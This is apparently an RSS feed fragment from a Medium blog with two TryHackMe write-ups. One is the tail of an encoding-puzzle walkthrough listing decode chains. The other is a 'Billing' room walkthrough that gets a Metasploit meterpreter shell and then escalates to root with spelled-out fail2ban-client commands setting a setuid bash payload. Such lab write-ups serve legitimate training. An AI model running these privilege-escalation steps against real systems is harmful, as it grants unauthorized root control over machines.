1.5:</h3><p>GIUTMORPGBFEMVRKGEVECRZRFM7GGJRDGFDVKKBRGITT2XZYFM7FSYTRGIUUQRRVGBEGALZMFM7GYIZBGNBCMJZ2GEVECRZOFM7GW23SGFDVKKBRGFQSEWJRFM7FSYTRGIUS2NBRGMSDUIRUFM7GW2DRGIUS2NBQGEVECRZPFM7GYJRCGFDVKKBRGITT2VRNGBEGALZMFM7GW23SGIUVUURVGEVECRZPFM7TWQJHGFDVKKBRGBEGAQJXFM7FSYTRGIUS2NBSGFQSEUZQFM7GW5DVGIUS2NBQGEVECRZQFM7TWQJHGFDVKKBRGITT2YRXFM7FSYTRGIUT6QBQGBFFQYRMGEVECRZQFM7GYJRCGFDVKKBRGITT23R6FM7FSYTRGIUUQRRRGBFEMVRKGEVECRZSFM7GGKJEGFDVKKBRGEVECRZVFM7FSYTRGIUT6QBTGMSDUIRUFM7GW4LUGIUUQRRTGEVECRZPFM7TWRZJGFDVKKBRGBSCMMRJGBEGALZMFM7GW4LUGIUSILRPGEVECRZRFM7TWRBIGFDVKKBRGBEGANJPFM7FSYTRGIUT6QBUGJBFQZJSFM7GW5DVGIUWGWBWGEVECRZSFM7EOUJKFM7FSYTRGIUVCTB2GMSDUIRUFM7GW23SGNBDQMZ4GEVECRZQFM7TWRBIGFDVKKBRGITT2YRWFM7FSYTRGIUSILRVGJOXG3RTFM7GW4LUGIUVUURVGEVECRZSFM7GW5DVGFDVKKBRGBEGANJNFM7FSYTRGIUTMORTGFCVYSRPFM7GW23SGIUUQRRTGEVECRZSFM7TWQJHGFDVKKBRGBEGAQJYFM7FSYTRGIUUQRRUGM7VKKZVFM7GYIZBGFRVCVJWGEVECRZOFM7GW2DRGFDVKKBRGITT2YRWFM7FSYTRGIUUQRRVGITT2XBRFM7GW2DRGBSWEQBKGFDVKKBRGFCVYRBLGBEGALZMFM7GW23SGIUT6QBSGEVECRZSFM7GW3TTGFDVKKBRGBSCMOZVFM7FSYTRGIUSILRRGFQSEUZQFM7GW4LUGFRVCVJWGEVECRZQFM7GGJRDGFDVKKBRGBSCMPRPFM7FSYTRGIUTMORPGBFEMVRKGEVECRZSFM7EOUJJFM7FSYTRGIUS2NBSGEVECQJOFM7GW5DVGIUWGWBWGEVECRZPFM7GW23SGFDVKKBRGITT2YRTFM7FSYTRGIUS2NBSGBEGALZMFM7GW23SGFRVCVJWGEVECRZTFM7GW2DRGFDVKKBRGBEGANJNFM7FSYTRGIUUQRRRGBFE6XBLGEVECRZRFM7GW3TTGFDVKKBRGBEGAQJXFM7FSYTRGIUTMORPGBFE6XBLGEVECRZSFM7GW2DRGFDVKKBRGBSCMPROFM7FSYTRGIUT6QBYGJOXG3RTFM7GW5DVGNBC6LJ3GEVECRZSFM7TWQJHGFDVKKBRGFCVYUBQFM7FSYTRGIUUQRRRGBFE6XBLGEVECRZOFM7GYKJDGFDVKKBRGBEGANJSFM7FSYTRGIUTMORTGJOXG3RTFM7GW3TTGIUWGWBWGEVECRZPFM7EOUJKFM7FSYTRGIUS2NBSGBSCMOBNFM7GW4LUGIUVUURVGEVECRZPFM7TWQJHGFDVKKBRGFCVYUBSFM7FSYTRGIUS2NBWGM7VKKZVFM7GW23SGBSWEORIGFDVKKBRGFQSEWJXFM7FSYTRGIUTMORTGBSCMOBNFM7GW5DVGNBCMJZ2GEVECRZRFM7GW2DRGFDVKKBRGFQSEZJ4FM7FSYTRGIUT6QBUGJBFQZJSFM7GW5DVGIUS2NBQGEVECRZPFM7EOUJIFM7FSYTRGIUTMORTGBEGALZMFM7GW5DVGNBC6LJ3GEVECRZQFM7GW4LUGFDVKKBRGBEGAQJYFM7FSYTRGIUTMORTGBEGALZMFM7GW23SGIUT6QBSGEVECRZSFM7GYKJDGFDVKKBRGFQSEWJXFM7FSYTRGIUT6QBUGBSCMOBNFM7GW3TTGIUUQRRTGEVECRZOFM7TWQJHGFDVKKBRGFCVYUBWFM7FSYTRGIUVCTB2GJOXG3RTFM7GW5DVGBSWEQBKGFDVKKBRGFQSEWJVFM7FSYTRGIUUQRRVGFCVYSRPFM7GW2DRGBSWEPJJGFDVKKBRGFQSEZJ4FM7FSYTRGIUT6QBUGBSCMOBNFM7GW5DVGNBC6LJ3GEVECRZPFM7GGJRDGFDVKKBRGBSCMPRQFM7FSYTRGIUTMORPGBFEMVRKGEVECRZQFM7TWRBIGFDVKKBRGFCVYTJWFM7FSYTRGIUUQRRRGBFEMVRKGEVECRZOFM7GW5DVGFDVKKBRGFQSEWJTFM7FSYTRGIUT6QBYGMSDUIRUFM7GYIZBGNBCMJZ2GEVECRZPFM7EOUJIFM7FSYTRGIUSILRVGM7VKKZVFM7GW2DRGBSWEPJJGFDVKKBRGBSCMMRJGEVECQJOFM7GYIZBGBSWEPJJGFDVKKBRGFQSEWJSFM7FSYTRGIUS2NBOGBFEMVRKGEVECRZPFM7GW3TTGFDVKKBRGFQSEWJSFM7FSYTRGIUT6QBUGFCVYSRPFM7GW5DVGNBCMJZ2GEVECRZSFM7GGKJEGFDVKKBRGBSCMOZUFM7FSYTRGIUUQRRVGBSCMOBNFM7GW23SGBSWEQBKGFDVKKBRGFQSEWJUFM7FSYTRGIUTMORSGMSDUIRUFM7GW3TTGNBCMJZ2GEVECRZPFM7EOUJJFM7FSYTRGIUVCTBWGITT2XBRFM7GW23SGNBDQMZ4GEVECRZSFM7GYKJDGFDVKKBRGBEGAMRUFM7FSYTRGIUSILRRGBSCMOBNFM7GW2DRGNBDQMZ4GEVECRZRFM7GGJRDGFDVKKBRGITT23R4FM7FSYTRGIUTMORPGBFFQYRMGEVECRZPFM7GW3TTGFDVKKBRGFQSEWJXFM7FSYTRGIUVCTBSGBFE6XBLGEVECRZTFM7GGKJEGFDVKKBRGFQSEWJUFM7FSYTRGIUS2NBRGMSDUIRUFM7GYIZBGIUVUURVGEVECRZOFM7GYKJDGFDVKKBRGBEGANJPFM7FSYTRGIUVCTBVGMSDUIRUFM7GW4LUGIUS2NBQGEVECRZQFM7TWQJHGFDVKKBRGFCVYUBPFM7FSYTRGIUUQRRZGM7VKKZVFM7GW4LUGFRVCVJWGEVECRZSFM7EOUJIFM7FSYTRGIUS2NBOGBFEMVRKGEVECRZRFM7GW3TTGFDVKKBRGITT2YRRFM7FSYTRGIUUQRRZGM7VKKZVFM7GYIZBGNBC6LJ3GEVECRZOFM7TWRZJGFDVKKBRGBEGANJPFM7FSYTRGIUS2NBRGM7VKKZVFM7GW2DRGIUUQRRTGEVECRZSFM7GW4LUGFDVKKBRGITT2YRVFM7FSYTRGIUS2NBSGEVECQJOFM7GW4LUGBSWEORIGFDVKKBRGEVECUZ3FM7FSYTRGIUSILRNGBFE6XBLGEVECRZSFM7GW2DRGFDVKKBRGFQSEVRXFM7FSYTRGIUVCTBVGMSDUIRUFM7GW4LUGIUVUURVGEVECRZQFM7GYIZBGFDVKKBRGFCVYUBRFM7FSYTRGIUUQRRVGEVECQJOFM7GW3TTGFRVUWZXGEVECRZOFM7EOUJJFM7FSYTRGIUSILRNGBFE6XBLGEVECRZSFM7GW4LUGFDVKKBRGBEGANJOFM7FSYTRGIUT6QBTGMSDUIRUFM7GW5DVGNBC6LJ3GEVECRZPFM7TWRZJGFDVKKBRGFCVYUBPFM7FSYTRGIUUQRRZGM7VKKZVFM7GW2DRGIUWGWBWGEVECRZSFM7GW5DVGFDVKKBRGITT2YRVFM7FSYTRGIUSILRQGM7VKKZVFM7GYIZBGIUSILRPGEVECRZOFM7EOUJJFM7FSYTRGIUUQRRRGBFE6XBLGEVECRZOFM7EOUJKFM7FSYTRGIUT6QBUGFQSEUZQFM7GW4LUGIUTMORRGEVECRZTFM7GW3TTGFDVKKBRGBEGANJQFM7FSYTRGIUUQRRVGJOXG3RTFM7GW23SGNBDQMZ4GEVECRZRFM7GYJRCGFDVKKBRGEVECOZKGEVECQJOFM7GW3TTGIUVUURVGEVECRZRFM7TWQJHGFDVKKBRGBEGANJNFM7FSYTRGIUUQRRVGFQSEUZQFM7GW5DVGIUT6QBSGEVECRZSFM7GW5DVGFDVKKBRGFCVYXB3FM7FSYTRGIUSILRVGJOXG3RTFM7GW4LUGIUVUURVGEVECRZSFM7GW3TTGFDVKKBRGBEGANJPFM7FSYTRGIUS2NBSGFCVYSRPFM7GW23SGIUUQRRTGEVECRZQFM7GGJRDGFDVKKBRGFQSETJMGBEGALZMFM7GW3TTGBSWEPJJGFDVKKBRGFCVYXB2FM7FSYTRGIUT6QBUGJBFQZJSFM7GW23SGNBCMJZ2GEVECRZQFM7EOUJKFM7FSYTRGIUS2NBWGMSDUIRUFM7GW3TTGIUUQRRTGEVECRZPFM7GW5DVGFDVKKBRGBSCMOZVFM7FSYTRGIUS2NBRGMSDUIRUFM7GW4LUGIUS2NBQGEVECRZPFM7GW3TTGFDVKKBRGBEGANJPFM7FSYTRGIUTMORXGMSDUIRUFM7GW4LUGIUT6QBSGEVECRZOFM7TWRBIGFDVKKBRGFCVYXB2FM7FSYTRGIUS2NBRGM7VKKZVFM7GYIZBGFRVCVJWGEVECRZSFM7GW3TTGFDVKKBRGBSCMPRTFM7FSYTRGIUTMORPGBFEMVRKGEVECRZPFM7TWQJHGFDVKKBRGITT23R5FM7FSYTRGIUS2NBOGBFE6XBLGEVECRZOFM7TWRBIGFDVKKBRGBSCMPRRFM7FSYTRGIUUQRRRGBFE6XBLGEVECRZOFM7GW3TTGFDVKKBRGBSCMOZUFM7FSYTRGIUS2NBWGM7VKKZVFM7GW5DVGBSWEORIGFDVKKBRGFCVYXB2FM7FSYTRGIUS2NBOGBFE6XBLGEVECRZRFM7GW3TTGFDV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CRZOFM7GW23SGFDVKKBRGBSCMMRJGBEGALZMFM7GW3TTGIUVUURVGEVECRZRFM7GW3TTGFDVKKBRGFCVYXB3FM7FSYTRGIUVCTBWGITT2XBRFM7GW5DVGIUT6QBSGEVECRZRFM7EOUJIFM7FSYTRGIUS2NBSGJBFQZJSFM7GW4LUGNBCMJZ2GEVECRZTFM7GYIZBGFDVKKBRGBSCMPRNFM7FSYTRGIUTMORPGBFE6XBLGEVECRZSFM7TWQJHGFDVKKBRGFQSEZJ4FM7FSYTRGIUUQRRVGJBFQZJSFM7GYIZBGIUVCTBUGEVECRZPFM7EOUJKFM7FSYTRGIUS2NBRGMSDUIRUFM7GW5DVGFRVUWZXGEVECRZSFM7EOUJKFM7FSYTRGIUTMORXGJOXG3RTFM7GW4LUGNBC6LJ3GEVECRZRFM7TWRBIGFDVKKBRGEVECUZZFM7FSYTRGIUVCTBWGFQSEUZQFM7GW3TTGIUVUURVGEVECRZSFM7GW23SGFDVKKBRGITT2YRVFM7FSYTRGIUTMORTGFCVYSRPFM7GW4LUGIUS2NBQGEVECRZSFM7TWRZJGFDVKKBRGEVECRZTFM7FSYTRGIUT6QBTGM7VKKZVFM7GW23SGIUSILRPGEVECRZOFM7GW4LUGFDVKKBRGFQSEZJ4FM7FSYTRGIUVCTBWGFQSEUZQFM7GW2DRGIUS2NBQGEVECRZTFM7GGKJEGFDVKKBRGFCVYUBSFM7FSYTRGIUVCTBVGM7VKKZVFM7GW5DVGNBCMJZ2GEVECRZRFM7GYKJDGFDVKKBRGBEGAQJZFM7FSYTRGIUTMORTGITT2XBRFM7GW4LUGIUWGWBWGEVECRZOFM7TWRZJGFDVKKBRGITT2YRTFM7FSYTRGIUT6QBYGJOXG3RTFM7GYIZBGNBCMJZ2GEVECRZSFM7GW5DVGFDVKKBRGBEGAKJIGEVECQJOFM7GW4LUGIUVCTBUGEVECRZPFM7TWQJHGFDVKKBRGBSCMOZVFM7FSYTRGIUT6QBUGEVECQJOFM7GW23SGBSWEORIGFDVKKBRGFQSEWJVFM7FSYTRGIUUQRRVGITT2XBRFM7GYIZBGIUUQRRTGEVECRZSFM7TWQJHGFDVKKBRGFQSEZJ5FM7FSYTRGIUT6QBQGBFFQYRMGEVECRZTFM7GW3TTGFDVKKBRGBSCMPRQFM7FSYTRGIUTMORTGITT2XBRFM7GW5DVGNBDQMZ4GEVECRZSFM7EOUJKFM7FSYTRGIUS2NBWGMSDUIRUFM7GW5DVGIUTMORRGEVECRZQFM7GW4LUGFDVKKBRGEVECOZKGBSCMOBNFM7GW23SGIUT6QBSGEVECRZPFM7GYIZBGFDVKKBRGBEGAQJYFM7FSYTRGIUTMORPGBFE6XBLGEVECRZOFM7TWRBIGFDVKKBRGFCVYUBWFM7FSYTRGIUS2NBWGJOXG3RTFM7GW23SGIUTMORRGEVECRZQFM7GW2DRGFDVKKBRGBSCMMRJGBSCMOBNFM7GW3TTGFRVUWZXGEVECRZTFM7GW4LUGFDVKKBRGBSCMPRQFM7FSYTRGIUUQRRZGJOXG3RTFM7GW3TTGIUSILRPGEVECRZPFM7GW4LUGFDVKKBRGEVECRZPFM7FSYTRGIUUQRRZGM7VKKZVFM7GYIZBGIUUQRRTGEVECRZOFM7TWRBIGFDVKKBRGFCVYUBRFM7FSYTRGIUUQRRVGJOXG3RTFM7GW5DVGIUVCTBUGEVECRZQFM7EOUJIFM7FSYTRGIUUQRRRGBFEMVRKGEVECRZQFM7GW4LUGFDVKKBRGBSCMMRJGBSCMOBNFM7GW23SGNBDQMZ4GEVECRZRFM7TWRBIGFDVKKBRGITT23R4FM7FSYTRGIUS2NBWGM7VKKZVFM7GW3TTGBSWEQBKGFDVKKBRGBEGANJTFM7FSYTRGIUS2NBRGM7VKKZVFM7GW4LUGBSWEPJJGFDVKKBRGEVECRZPFM7FSYTRGIUSILRVGM7VKKZVFM7GW5DVGBSWEORIGFDVKKBRGFCVYUBWFM7FSYTRGIUVCTBWGBEGALZMFM7GW3TTGIUUQRRTGEVECRZQFM7TWRBIGFDVKKBRGBSCMPROFM7FSYTRGIUT6QBQGBFEMVRKGEVECRZRFM7TWQJHGFDVKKBRGFQSEWJSFM7FSYTRGIUSILRVGMSDUIRUFM7GW23SGIUUQRRTGEVECRZOFM7EOUJKFM7FSYTRGIUS2NBSGEVECQJOFM7GW23SGBSWEORIGFDVKKBRGFQSEZJ4FM7FSYTRGIUT6QBUGBSCMOBNFM7GW4LUGIUT6QBSGEVECRZPFM7GYKJDGFDVKKBRGFQSEWJRFM7FSYTRGIUT6QBUGBEGALZMFM7GYIZBGNBCMJZ2GEVECRZSFM7TWRBIGFDVKKBRGBSCMPRUFM7FSYTRGIUUQRRUGM7VKKZVFM7GW3TTGIUS2NBQGEVECRZOFM7GGKJEGFDVKKBRGBSCMOZVFM7FSYTRGIUVCTBWGITT2XBRFM7GW2DRGIUUQRRTGEVECRZSFM7GW23SGFDVKKBRGFQSEWJQFM7FSYTRGIUUQRRVGFCVYSRPFM7GW5DVGNBC6LJ3GEVECRZOFM7EOUJJFM7FSYTRGIUTMORTGEVECQJOFM7GW23SGBSWEPJJGFDVKKBRGFQSEWJUFM7FSYTRGIUUQRRRGBFFQYRMGEVECRZRFM7EOUJIFM7FSYTRGIUTMORSGM6A</p><p>Base32 -&gt; Base85 -&gt; Decimal -&gt; Hex -&gt; Base91 -&gt; Base58 -&gt; Hex -&gt; Base64 -&gt; Decimal -&gt; Hex</p><p>Process was too long but when you want to convert from Hex to base91, you can use the this <a href="https://www.dcode.fr/base-91-encoding">https://www.dcode.fr/base-91-encoding</a> . And the rest can be done with Cyberchef</p><h3>Task 2.1:</h3><p>PJXHQ4S7GEZV6ZTDOZQQ====</p><p>base32 -&gt; ROT13</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-IddjabnX1TC4szO8HiZIg.png" /></figure><h3>Task 2.2:</h3><p>NjZMKVhATl1EcEI2Jio4Q0xuVy1EZSo5ZkFLV0M6QVUtPFpGQ0InIkReYg==</p><p>base64 -&gt; base 85 -&gt; Vigenere</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rj2Ur0iR-MNdZumZiviCPA.png" /></figure><p>You should take note of the <strong>KEY </strong>which is “<strong>tango</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OmoJWU4Z2LLXwN5i3ViUZg.png" /></figure><h3>Task 2.3:</h3><p>-!r/X,]n/Z-Zs\X,X$,rI&lt;@]#-9Oh,-=A]R-p9\+</p><p>base85 -&gt; ROT47 -&gt; base64 -&gt; base32 -&gt; ROT13</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*kuxly0HuPHy9yl2LwUtHEA.png" /></figure><h3>Task 2.4:</h3><p>GZXSMPKXH4RGE4TKGQSVKYS3HJEUCXDMGJPDAXCSIE2SGQSIIFIWQRJZGBUUGKJJFU4T24DJIFISQSZSFY4VKMKUGZXSI2DLHRRTSXLKGQSVKYS3HUSG4LJQGFCW4OCOIE2SIZTAGQSSCJLFGBUUGKJJFU4T4J3NFNOUGM2BFY4VKMKUGZXSMPKXH4RGE4TKGQSVKYS3HNQVMXRMGEVFGL2NIE2SIIKMIFIWOQTRGBUUGKJJFU4T4J3NIMXWMSJGFY4VKMKUGZXSMPKXFURTKNJVGQSVKYS3HNQVMXRMGFQTIQKPIE2SGQSIIFIWQRJZGBUUGKJJFU4T24DJIFISQTRTFY4VKMKUGZXSMPKXFURTKNJVGQSVKYS3HNQVMXRMGFCW4OCOIE2SGLKDIFIWQY2FGBUUGKJJFU4T4XRKFNOUGKR6FY4VKMKUGRNCIX2SH4RGE4TKGQSVKYS3HUSG4LJQGBSDQJSMIE2SGQSIIFIWSQKRGBUUGKJJFU4T4URGFNOUGM2BFY4VKMKUGZXSI3CKIQXTU4JJGQSVKYS3IA3SURS6GFQTIQKPIE2SIZTAIFIWQRJZGBUUGKJJFU4T4XRKFNOUGM2BFY4VKMKUGRNCGNLGHRRTSXLKGQSVKYS3HUSG4LJQGFQTIQKPIE2SGLKDIFIWSU2ZGBUUGKJJFU4T24DJIFISQSZSFY4VKMKUHRES6NZNH4RGE4TKGQSVKYS3HUSG4LJQGFQTIQKPIE2SGLKDGRCWAZRHGBUUGKJJFU4T4J3NFNOUGKR6FY4VKMKUHRES2Y2OHRRTSXLKGQSVKYS3HJEUCXDMGJPDAXCSIE2SIIKMIFIWOQTRGBUUGKJJFU4T4J3NFNOUKXBSFY4VKMKUHRES2Y2OHRRTSXLKGQSVKYS3IA3SURS6GFCW4OCOIE2SIIKMIFIWQRJZGBUUGKJJFU4T24DJFNOUKXBSFY4VKMKUGZXSI2DLHRRTSXLKGQSVKYS3IFHUC2TCGFCW4OCOIE2SIIKMGRCWEUSYGBUUGKJJFU4T24DJIFISQTRTFY4VKMKUGRNCIX2SIBYW2X3SGQSVKYS3HUSG4LJQJA3E6ZKAIE2SIIKMGQSSCJLFGBUUGKJJFU4T4URGIMXWMSJGFY4VKMKUGRNCGNLGHRRTSXLKGQSVKYS3HJET6ORII5YDIXB7IE2SGQSIIFIWOQTRGBUUGKJJFU4T24DJFNOUGKR6FY4VKMKUHRES6NZNH4RGE4TKGQSVKYS3IA3SSMR2GITU6SSQIE2SIIKMIFIWSQKRGBUUGKJJFU4T24DJIFISQSZSFY4VKMKUGZXSMPKXGQUUQXKNGQSVKYS3HUSG4LJQGFCW4OCOIE2SIZTAIFIWQRJZGBUUGKJJFU4T4URGGZZFUKLIFY4VKMKUGRNCIX2SH4RGE4TKGQSVKYS3HJET6ORII5YDIXB7IE2SGQSIIFIWSQKRGBUUGKJJFU4T4XRKFNOUGLJ7FY4VKMKUGRNCIX2SIBYW2X3SGQSVKYS3HJET6ORII5YDIXB7IE2SIZTAIFIWSU2ZGBUUGKJJFU4T4XRKIFISQRKP</p><p>Again the process was too long</p><p>Base 32 -&gt; Base85 -&gt; Base91 -&gt; Base10 -&gt; Hex -&gt; Base64 -&gt; Base58 -&gt; Vigenère</p><h3>Task 3.1:</h3><p>2D 37 2B 19 31 99 31 B3 B2 AB A5 18 32 37 20 B3 B2 AC 2D 1A 31 B4 A1 3A A4 A3 9C B4 AD 36 AC 9E</p><p>Bit Shift -&gt; Base64 -&gt; ROT13</p><p><a href="https://www.dcode.fr/circular-bit-shift">Circular Bit Shift - Online Decoder, Encoder, Solver, Translator</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ye-CcStK20qbDmyKst0dxQ.png" /></figure><p>Bit shift has to do with the messing up of binaries to alter data, most times the alterations is in the order of ; 2 or 4 or 8 or 16 or … but it can be in the value 128bits or any below it. For this we have it in 128bits</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jT9_iOmaKbDRn1v0It54OQ.png" /></figure><h3>Task 3.2:</h3><p>19 1A 1C 99 1C 9C A8 38 27 B2 34 27 B9 27 26 28 3C 3B AA 28 A5 AA 2A 29 3C 29 B2 B2 21 B1 AC A6 1C AC 29 A8 38 99 2C</p><p>Bit Shift -&gt; Base58 -&gt; ROT13</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*gYw2UWAq6iFZKCJ84QJM0g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C0oOvWj66vgVJ3iz_xeKbQ.png" /></figure><h3>Task 3.3:</h3><p>A9 A8 2B EE 2A AA C9 C8 C9 AA A8 0F 2A 8A AA EE A9 8A CA A8 A9 4F 6D 46 E9 A8 A8 0F A9 8A 6D 86 A9 AA A9 26 2A 8A 48 E8</p><p>Bit Shift -&gt; Base64 -&gt; Bit Shift -&gt; Base85 -&gt; ROT13</p><p>Again, process was too long!</p><p>Thank you for reading!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f0ae044e710" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme: Billing(Easy Room)]]></title>
            <link>https://medium.com/@erioluwaalabi/tryhackme-billing-easy-room-2a668ce22e38?source=rss-b25bd285d110------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a668ce22e38</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[SpaceIO]]></dc:creator>
            <pubDate>Thu, 03 Jul 2025 10:15:43 GMT</pubDate>
            <atom:updated>2025-07-03T10:15:43.548Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a23qK-CCx7u5HJVK7lDe6A.png" /></figure><p>It is now interesting because easy and medium rooms use to be very difficult for me but now, piece of cake</p><p>Started with an Nmap Scan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*M6DmbnKLeUXD85oqtriNtw.png" /></figure><p>Next, I checked it out on msfconsole</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*05YBruQTLoT7VhYwgpNesw.png" /></figure><p>I used the 6th Payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*xFf_z3xBLCdNPin1ufWSgA.png" /></figure><p>Set up my options, I found that using the options command, get your LHOST with the ifconfig and copy your RHOST from the Tryhackme room. type in “run” or “exploit” and you should have a meterpreter session like the one below.</p><p>Use the commad “shell” to spawn up an actual shell and then use the python3 command below to enable good readability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*lUEp7wkyHAx8T9vVUUmAbg.png" /></figure><p>Got user.txt, next up we get root!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*v5Lae6s8qx8Xhqb7JMD-Pw.png" /></figure><p>Follow these steps and you should be good to go</p><p># Get jail list<br>sudo /usr/bin/fail2ban-client status<br># Choose one of the jails from the “Jail list” in the output.<br>sudo /usr/bin/fail2ban-client get &lt;JAIL&gt; actions<br># Create a new action with arbitrary name (e.g. “evil”)<br>sudo /usr/bin/fail2ban-client set &lt;JAIL&gt; addaction evil<br># Set payload to actionban<br>sudo /usr/bin/fail2ban-client set &lt;JAIL&gt; action evil actionban “chmod +s /bin/bash”<br># Trigger the action<br>sudo /usr/bin/fail2ban-client set &lt;JAIL&gt; banip 1.2.3.5<br># Now we gain a root<br>/bin/bash -p</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*LPI8O1XRukdGNWZkMgenNg.png" /></figure><p>I hope you got your root flag too!</p><p>See you nex time!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a668ce22e38" width="1" height="1" alt="">]]></content:encoded>
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